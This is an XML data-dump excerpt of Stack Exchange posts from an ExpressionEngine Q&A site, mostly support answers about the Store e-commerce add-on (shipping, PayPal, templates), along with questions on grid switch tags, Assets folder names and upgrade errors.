  <row Id="15295" PostTypeId="2" ParentId="11418" CreationDate="2013-11-01T21:54:07.063" Score="2" Body="&lt;p&gt;The Store USPS shipping extension only supports domestic (US) shipping rates for now. This is because USPS have a complete separate API for rating international shipments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We're looking at adding support for international rates in a future version, but there is no plan/release date for when this may happen yet.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-11-01T21:54:07.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15296" PostTypeId="2" ParentId="13793" CreationDate="2013-11-01T21:56:21.353" Score="1" Body="&lt;p&gt;There are no settings which would cause this to happen or known bugs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's likely to be caused by either caching on your front end, or a misconfiguration of your server. I suggest you start by disabling all caches, and also try different browsers etc.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-11-01T21:56:21.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15297" PostTypeId="2" ParentId="12870" CreationDate="2013-11-01T22:02:10.880" Score="1" Body="&lt;p&gt;It's almost impossible for payments to be collected with Paypal and yet the order to remain incomplete. Paypal doesn't actually collect the funds until Store marks the order as complete. So that seems unlikely - I would check with your client and find exact steps to reproduce the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With some other gateways, they only notify Store of the payment success, and there is a possibility the payment may go through but Store's notification URL is not called successfully. This could either be because the gateway didn't call the URL, or because your site blocked it for whatever reason.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Often a good place to start when debugging this sort of thing is to look at your server access logs and see if you can see the gateway calling the correct &lt;code&gt;index.php?ACT=&lt;/code&gt; URL on your site, right after an order is completed. That will tell you whether or not your site is receiving the message or whether the problem is with the gateway.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-11-01T22:02:10.880" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15298" PostTypeId="2" ParentId="12848" CreationDate="2013-11-01T22:03:16.713" Score="1" Body="&lt;p&gt;This was a bug in the PDF generation library Store uses (dompdf). It only happened on servers running PHP 5.4 or newer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This has been fixed in Store 1.6.5:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://exp-resso.com/docs/release_notes.html#store_165&quot; rel=&quot;nofollow&quot;&gt;https://exp-resso.com/docs/release_notes.html#store_165&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-11-01T22:03:16.713" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15299" PostTypeId="2" ParentId="12537" CreationDate="2013-11-01T22:07:25.103" Score="4" Body="&lt;p&gt;UPDATE: As of Store 2.1, PayPal Express supports passing line item details via PayPal Express. I believe this won't work with PayPal Pro yet though, as the syntax is slightly different.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ORIGINAL: Store doesn't pass individual line item prices through to PayPal. This is a feature request we are working on, but for now &quot;Order #242&quot; is all you will see in Paypal, and you will need to look in the Store control panel for the full order details.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Likewise, the shipping address is not currently passed through either. It's probably easier if you print your packing slips from your EE control panel instead of Paypal.&lt;/p&gt;&#xA;" OwnerUserId="150" LastEditorUserId="150" LastEditDate="2013-12-12T19:03:08.527" LastActivityDate="2013-12-12T19:03:08.527" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15300" PostTypeId="2" ParentId="12060" CreationDate="2013-11-01T22:09:16.143" Score="1" Body="&lt;p&gt;To access the inventory tab in Store, a customer must have permission to edit/create entries in your products channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure you have set up a products channel for this site, and then make sure that the member group can create entries under Content &gt; Publish. If that is possible but you still don't see the Inventory menu item, send an email to support@exp-resso.com and we will investigate.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-11-01T22:09:16.143" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15301" PostTypeId="2" ParentId="11967" CreationDate="2013-11-01T22:11:20.120" Score="1" Body="&lt;p&gt;This sounds like a bug. It's probably best if you email support@exp-resso.com so we can investigate this directly on your website.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-11-01T22:11:20.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15302" PostTypeId="2" ParentId="11484" CreationDate="2013-11-01T22:16:42.880" Score="1" Body="&lt;p&gt;In the Store checkout tag there is an &lt;code&gt;{order_handling}&lt;/code&gt; variable which will display the handling total.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is also &lt;code&gt;{order_shipping_ex_handling}&lt;/code&gt; if you want to display the shipping amount excluding handling.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both of these can be combined with &lt;code&gt;_inc_tax&lt;/code&gt; to display the tax inclusive price: &lt;code&gt;{order_handling_inc_tax}&lt;/code&gt;, or &lt;code&gt;_val&lt;/code&gt; to display the unformatted number: &lt;code&gt;{order_handling_val}&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-11-01T22:16:42.880" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15303" PostTypeId="2" ParentId="11304" CreationDate="2013-11-01T22:18:46.513" Score="1" Body="&lt;p&gt;I'm not sure why Store would be at fault here. It sounds like a problem with the register/update forms in Solspace User.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first step I would take to debug is to uninstall Store (back up your data first!), and see whether you can get the User forms working on their own.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-11-01T22:18:46.513" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15304" PostTypeId="2" ParentId="15286" CreationDate="2013-11-01T22:20:02.253" Score="0" Body="&lt;p&gt;This sounds like a bug - probably best if you email support@exp-resso.com so we can investigate it directly on your server.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-11-01T22:20:02.253" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15305" PostTypeId="2" ParentId="13059" CreationDate="2013-11-01T22:21:34.997" Score="1" Body="&lt;p&gt;This sounds like a bug - probably best if you email support@exp-resso.com so we can diagnose it and help you find a solution.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-11-01T22:21:34.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15306" PostTypeId="2" ParentId="12923" CreationDate="2013-11-01T22:29:02.697" Score="3" Body="&lt;p&gt;This sounds like it is being caused by Publisher. If you disable Publisher, does the problem go away?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so, it's probably best to contact BoldMinded so they can investigate the issue directly.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-11-01T22:29:02.697" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15307" PostTypeId="2" ParentId="12723" CreationDate="2013-11-01T22:30:44.640" Score="2" Body="&lt;p&gt;Answer provided in comments:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I'm really not sure what's happening with this, but I've managed to work around it by using EpicVoyages Force SSL plugin to do the switch.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/force-ssl&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/force-ssl&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-11-01T22:30:44.640" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15308" PostTypeId="2" ParentId="12513" CreationDate="2013-11-01T22:35:12.473" Score="1" Body="&lt;p&gt;If you enable &quot;shipping same as billing&quot;, then the shipping address will be overwritten by whatever is in the billing address (and shipping address validations won't fire).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Therefore, if you are using that setting, you need to make sure the customer enters a billing address (otherwise it will copy the empty billing address over top of the shipping address).&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-11-01T22:35:12.473" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15309" PostTypeId="2" ParentId="12448" CreationDate="2013-11-01T22:40:39.840" Score="2" Body="&lt;p&gt;This sounds like a bug in VZ Buyers. Are you talking about the fieldtype displayed in the CP, or the &lt;code&gt;{exp:vz_buyers:print_csv}&lt;/code&gt; tag?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A quick glance at the &lt;a href=&quot;https://github.com/elivz/vz_buyers.ee_addon/blob/master/vz_buyers/mod.vz_buyers.php&quot; rel=&quot;nofollow&quot;&gt;source code&lt;/a&gt; looks like it is not restricting the list to only completed orders.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you open up that file, right around line 48 you will see this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-&amp;gt;join('store_orders', 'store_orders.order_id = store_order_items.order_id')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After that, add this line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-&amp;gt;where('store_orders.order_completed_date &amp;gt;', 0)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You might need to make a similar adjustment to the fieldtype file (ft.vz_buyers.php). Without this change then it will treat incomplete orders (which are still carts) as if they were real orders.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-11-01T22:40:39.840" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15310" PostTypeId="2" ParentId="12319" CreationDate="2013-11-01T22:42:15.597" Score="1" Body="&lt;p&gt;You can set a default country in the Store control panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Under Store &gt; Settings &gt; Countries / States, simply add a default country and region/state. After you change it, make sure you are logged out and clear your cart, then add an item to your cart and it should pre-select the default country for you automatically.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-11-01T22:42:15.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15311" PostTypeId="2" ParentId="15217" CreationDate="2013-11-01T22:47:25.277" Score="1" Body="&lt;p&gt;Solution posted in question:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apparently there is an undocumented bug in EE -&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if your database password contains a percent symbol EE will fail to finish installation and configuration, thereby leaving you with a 'unable to connect to database' error on the second screen of install.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-11-01T22:47:25.277" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15312" PostTypeId="2" ParentId="11531" CreationDate="2013-11-01T22:50:50.917" Score="1" Body="&lt;p&gt;In Store 1.x, &lt;code&gt;{order_status_message}&lt;/code&gt; was only available in the email templates, and not in the order tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Store 2, this has been added to the order tag as well.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-11-01T22:50:50.917" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15313" PostTypeId="2" ParentId="11452" CreationDate="2013-11-01T22:53:52.447" Score="1" Body="&lt;p&gt;Per &lt;a href=&quot;https://expressionengine.stackexchange.com/a/15295/150&quot;&gt;this answer&lt;/a&gt;, Store currently on supports domestic (US) rates for the USPS shipping plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As USPS international rates use a completely separate API, this will require some custom development if you need to get it to work worldwide.&lt;/p&gt;&#xA;" OwnerUserId="150" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2013-11-01T22:53:52.447" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15314" PostTypeId="2" ParentId="12397" CreationDate="2013-11-01T22:59:48.813" Score="2" Body="&lt;p&gt;It's not possible using the native Store tags to calculate the shipping address for an item before you add it to your cart (because that would require a destination address).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need to do this, the best way would be to use the EE query module to query the &lt;code&gt;exp_store_shipping_rules&lt;/code&gt; table and select the correct rate based on the item size/weight and destination country/state. How complicated this is depends on how many shipping rules you have set up and which attributes of the product you are using to calculate rates.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-11-01T22:59:48.813" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15316" PostTypeId="2" ParentId="12296" CreationDate="2013-11-01T23:03:57.300" Score="1" Body="&lt;p&gt;Last I heard there was a beta version of Credits with support for Store, so it's worth contacting DevDemon if you want access to that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To access the list of items purchased for a user you can simply check the &lt;code&gt;exp_store_order_items&lt;/code&gt; table. The item modifiers are stored as JSON (Store 2) or a Base64 encoded serialized array (Store 1).&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-11-01T23:03:57.300" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15317" PostTypeId="2" ParentId="10386" CreationDate="2013-11-01T23:57:07.273" Score="1" Body="&lt;p&gt;This is a somewhat old thread, but for anyone else that has this issue...&#xA;The fix that worked for me was to remove the row in the exp_fieldtypes table in the EE database.&lt;/p&gt;&#xA;" OwnerUserId="132" LastActivityDate="2013-11-01T23:57:07.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15318" PostTypeId="2" ParentId="15279" CreationDate="2013-11-02T02:57:35.893" Score="1" Body="&lt;p&gt;Have the host look at the /tmp directory for your hosting account. It might be full or permissions may have changed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, look at your php logs. If there is a specific PHP error stopping the upload, it might be there. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, look at the actual hosting account's diskspace. Maybe you've hit your limit. &lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-11-02T02:57:35.893" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="15319" PostTypeId="2" ParentId="13160" CreationDate="2013-11-02T07:59:10.033" Score="3" Body="&lt;p&gt;This should be fixed for next release (i.e. after version 1.8.5.2).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the meantime, if you want to try and fix this right away, go in &lt;strong&gt;/system/expressionengine/third_party/zenbu/views/zenbu_index.php&lt;/strong&gt; and change line 22 from&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $selected = $optval == $rule_cond['field'] ? 'selected=&quot;selected&quot;' : '';?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $selected = isset($rule_cond['field']) &amp;amp;&amp;amp; $optval == $rule_cond['field'] ? 'selected=&quot;selected&quot;' : '';?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and line 28 from&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $selected = $val == $rule_cond['field'] ? 'selected=&quot;selected&quot;' : '';?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $selected = isset($rule_cond['field']) &amp;amp;&amp;amp; $val == $rule_cond['field'] ? 'selected=&quot;selected&quot;' : '';?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="607" LastActivityDate="2013-11-02T07:59:10.033" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15320" PostTypeId="2" ParentId="15256" CreationDate="2013-11-02T15:00:34.817" Score="1" Body="&lt;p&gt;As Anna mentioned, the 3.x to 4.x guide is a helpful place to start. Field variables are also prefixed now:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.solspace.com/docs/freeform/entries/#variables&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/freeform/entries/#variables&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.solspace.com/docs/freeform/entries/#examples&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/freeform/entries/#examples&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2013-11-02T15:00:34.817" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15321" PostTypeId="1" AcceptedAnswerId="15322" CreationDate="2013-11-02T15:39:17.373" Score="3" ViewCount="504" Body="&lt;p&gt;I'm building out a photo gallery using the grid field type and everything works fine with this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{gallery}&#xA;  &amp;lt;li class=&quot;{gallery:switch='one|two|three'}&quot;&amp;gt;&#xA;    &amp;lt;a href=&quot;{gallery:photo}&quot;&amp;gt;&amp;lt;img src=&quot;{gallery:photo:square}&quot; alt=&quot;{gallery:caption}&quot; /&amp;gt;&amp;lt;/a&amp;gt;&#xA;&#xA;    {if gallery:caption}&amp;lt;h5&amp;gt;{gallery:caption}&amp;lt;/h5&amp;gt;{/if}&#xA;  &amp;lt;/li&amp;gt;&#xA;{/gallery}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However the switch tag is outputting the classes in the wrong order which is why I changed them to numbers, really they should be clear||last. The unexpeced output is here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul id=&quot;gallery&quot;&amp;gt;&#xA;  &amp;lt;li class=&quot;two&quot;&amp;gt;&#xA;    &amp;lt;a href=&quot;http://domain.com/uploads/gallery/test16.jpg&quot;&amp;gt;&amp;lt;img src=&quot;http://domain.com/uploads/gallery/_square/test16.jpg&quot; alt=&quot;&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;&#xA;              &amp;lt;/li&amp;gt;&#xA;&#xA;  &amp;lt;li class=&quot;three&quot;&amp;gt;&#xA;    &amp;lt;a href=&quot;http://domain.com/uploads/gallery/test15.jpg&quot;&amp;gt;&amp;lt;img src=&quot;http://domain.com/uploads/gallery/_square/test15.jpg&quot; alt=&quot;Mmm Caffeine!&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;&#xA;    &amp;lt;h5&amp;gt;Mmm Caffeine!&amp;lt;/h5&amp;gt;          &amp;lt;/li&amp;gt;&#xA;&#xA;  &amp;lt;li class=&quot;one&quot;&amp;gt;&#xA;    &amp;lt;a href=&quot;http://domain.com/uploads/gallery/test12.jpg&quot;&amp;gt;&amp;lt;img src=&quot;http://domain.com/uploads/gallery/_square/test12.jpg&quot; alt=&quot;Marshmallows!&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;&#xA;    &amp;lt;h5&amp;gt;Marshmallows!&amp;lt;/h5&amp;gt;          &amp;lt;/li&amp;gt;&#xA;&#xA;  &amp;lt;li class=&quot;two&quot;&amp;gt;&#xA;    &amp;lt;a href=&quot;http://domain.com/uploads/gallery/test5.jpg&quot;&amp;gt;&amp;lt;img src=&quot;http://domain.com/uploads/gallery/_square/test5.jpg&quot; alt=&quot;Be Careful&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;&#xA;    &amp;lt;h5&amp;gt;Be Careful&amp;lt;/h5&amp;gt;          &amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Notice that the classes get output &#xA;two&#xA;three&#xA;one&#xA;two&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;not&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;one&#xA;two &#xA;three&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea why this is happening or how to fix it?&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2013-11-02T16:05:26.047" Title="Grid and Switch Tag unexpected results" Tags="|templates|grid|switch|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15322" PostTypeId="2" ParentId="15321" CreationDate="2013-11-02T16:05:26.047" Score="6" Body="&lt;p&gt;It looks like you found a bug, Sean, sorry you got bitten by it. I've reported it and posted a fix here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://support.ellislab.com/bugs/detail/19871&quot;&gt;https://support.ellislab.com/bugs/detail/19871&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="74" LastActivityDate="2013-11-02T16:05:26.047" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15323" PostTypeId="1" CreationDate="2013-11-02T19:14:35.230" Score="2" ViewCount="579" Body="&lt;p&gt;I upgraded from assets 1 to assets 2. now my folders which start with an underscore are no more recognized. they exist, the images in those folders are shown in the frontend, but i can no more use them in my filemanager. that's a big problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem was addressed &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/9345/assets-not-displaying-correctly-after-moving-server&quot;&gt;here&lt;/a&gt;, but no solution mentioned. There one of the p&amp;amp;t-stuff writes:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Firstly, Assets disallows files and folders that begin with a dot or an underscore, as the convention is to user either of those prefixes for hidden files and folders.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Assets 1 did not forbid me to start folder names with underscores, so modestly I expect an assets-immanent solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any solution to this problem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&#xA;just recognized that i am able to create a new folder with underscore in the beginning; this folder is shown.&lt;/p&gt;&#xA;" OwnerUserId="780" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2013-11-05T12:25:14.257" Title="Problem after upgrading Assets: Underscores in folder-names" Tags="|assets|pixelandtonic|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15325" PostTypeId="2" ParentId="14492" CreationDate="2013-11-02T23:06:26.100" Score="2" Body="&lt;p&gt;Your code works fine for me, so here are some things to check:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Make sure you running the latest version of FreeMember&lt;/li&gt;&#xA;&lt;li&gt;Make sure you spelled the custom field correctly. Do you have a prefix that you use for the custom member fields or anything?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-11-02T23:06:26.100" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15326" PostTypeId="2" ParentId="10490" CreationDate="2013-11-02T23:21:24.313" Score="2" Body="&lt;p&gt;First thing to check is the obvious - is the product out of stock? Have you definitely submitted an &lt;code&gt;item_qty&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If those don't work - the best way to diagnose issues like this is to check the Network tab in your browser's developer tools. Make sure the form fields are getting submitted as you expect, and if successful you should see only a single 302 redirect to your checkout page (or wherever your &lt;code&gt;return=&quot;&quot;&lt;/code&gt; tag parameter points to).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure there aren't any extra redirects (for example some script on your website redirecting to HTTPS, or forcing www). Especially since you have a check to force www in your htaccess, make sure you aren't posting to &lt;code&gt;example.com&lt;/code&gt; and then immediately redirecting to &lt;code&gt;www.example.com&lt;/code&gt;, because you will lose your form POST data in the process.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-11-02T23:21:24.313" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15328" PostTypeId="2" ParentId="11338" CreationDate="2013-11-03T11:20:34.460" Score="1" Body="&lt;p&gt;Do you have set $assign_to_config['site_url'] in /en/index.php?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;del&gt;I recently installed &lt;a href=&quot;https://github.com/averyvery/Freebie&quot; rel=&quot;nofollow&quot;&gt;https://github.com/averyvery/Freebie&lt;/a&gt; to make EE ignore certain segments.&lt;/del&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;edit&lt;/strong&gt;&lt;br&gt;&#xA;i ended up using a find/replace add-on&lt;br&gt;&#xA; - &lt;a href=&quot;http://devot-ee.com/add-ons/find-and-replace-plus&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/find-and-replace-plus&lt;/a&gt;&lt;br&gt;&#xA; - or &lt;a href=&quot;http://devot-ee.com/add-ons/low-replace&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/low-replace&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="155" LastEditorUserId="155" LastEditDate="2013-11-03T11:43:58.477" LastActivityDate="2013-11-03T11:43:58.477" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15330" PostTypeId="2" ParentId="7460" CreationDate="2013-11-03T17:08:43.803" Score="0" Body="&lt;p&gt;I was modifying Store 1.6.x's PayPal Express gateway to initiate a subscription in one shot. But I was never able to really focus on it, it was on/off here and there over a few weeks earlier in the year so it was really hard to make progress. I was real close actually with the billing agreement working, subscription being made on paypal's end (test version at least)... but I still hadn't completed the order. We may have to upgrade to Store 2.x, I don't know how much that may throw off the progress I had made before, also we may just want to try to somehow integrate &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/simple_commerce/index.html#recurring-payments&quot; rel=&quot;nofollow&quot;&gt;SCM&lt;/a&gt; with Store somehow. Not sure, haven't looked into it yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't need a paypal sub to integrate tightly with Store (e.g. with payment management, reporting, newly created order, etc.) then it &lt;em&gt;could&lt;/em&gt; be done. But I can't comment on managing the subscriptions.&lt;/p&gt;&#xA;" OwnerUserId="61" LastActivityDate="2013-11-03T17:08:43.803" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15331" PostTypeId="1" AcceptedAnswerId="15356" CreationDate="2013-11-03T18:08:16.280" Score="4" ViewCount="70" Body="&lt;p&gt;So, my first time round with expresso store.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What i'm hoping to do is limit certain combinations of variations, as well as change the price for combinations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The products are custom made so the materials and dimensions affect the price.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an example.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Item      Size      Material     Price&#xA;Table     300mm     Mahogany     £250.00&#xA;Table     500mm     Plywood      £200.00&#xA;Table     500mm     Mahogany     N/A&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also, need to be able to display a message dependant on the combination, too - tho I can probably do that easiest by detecting the price (as there will be many variation options, there will be few price variations).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, will appreciate any and all help, if the answer is 'build an extension to do it' that's fine - just don't want to get into all that if I just don't need to.&lt;/p&gt;&#xA;" OwnerUserId="2313" LastActivityDate="2013-11-05T18:54:41.537" Title="Disable certain Combination Variations" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15332" PostTypeId="1" CreationDate="2013-11-03T23:00:25.093" Score="3" ViewCount="452" Body="&lt;p&gt;Right now I have this simple test form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:form channel=&quot;data&quot; category=&quot;6&quot; status=&quot;Closed&quot; return=&quot;contact/thanks&quot; }&#xA;   &amp;lt;input name=&quot;title&quot; type=&quot;text&quot;&amp;gt;&#xA;&#xA;   &amp;lt;input type=&quot;submit&quot; value=&quot;Submit&quot;&amp;gt;&#xA;{/exp:channel:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The data is submitted but it doesn't set the status or the category. Maybe I am misunderstanding the documentation on how this should work. &lt;/p&gt;&#xA;" OwnerUserId="1298" LastEditorUserId="197" LastEditDate="2013-11-03T23:09:01.393" LastActivityDate="2015-09-19T21:14:27.530" Title="How do you manually set the category and status of a channel form?" Tags="|channel|channel-form|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15333" PostTypeId="1" CreationDate="2013-11-03T23:06:57.303" Score="3" ViewCount="953" Body="&lt;p&gt;Anyone else seen this error during an EE 2.7.2 upgrade?&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;An Error Was Encountered Non-existent class: Addons&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If I remove installer, the CP error says:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Your ExpressionEngine installation’s version (2.7.1) is not consistent with the reported version (2.7.2). Please update your installation of ExpressionEngine again.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I updated all the modules to latest versions cannot find anything similar in forums.&lt;/p&gt;&#xA;" OwnerUserId="2314" LastEditorUserId="55" LastEditDate="2013-11-19T20:40:12.587" LastActivityDate="2014-07-01T19:28:42.880" Title="Upgrade to 2.7.2 got this error &quot;An Error Was Encountered Non-existent class: Addons&quot;" Tags="|upgrade|php-errors|addons|" AnswerCount="6" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
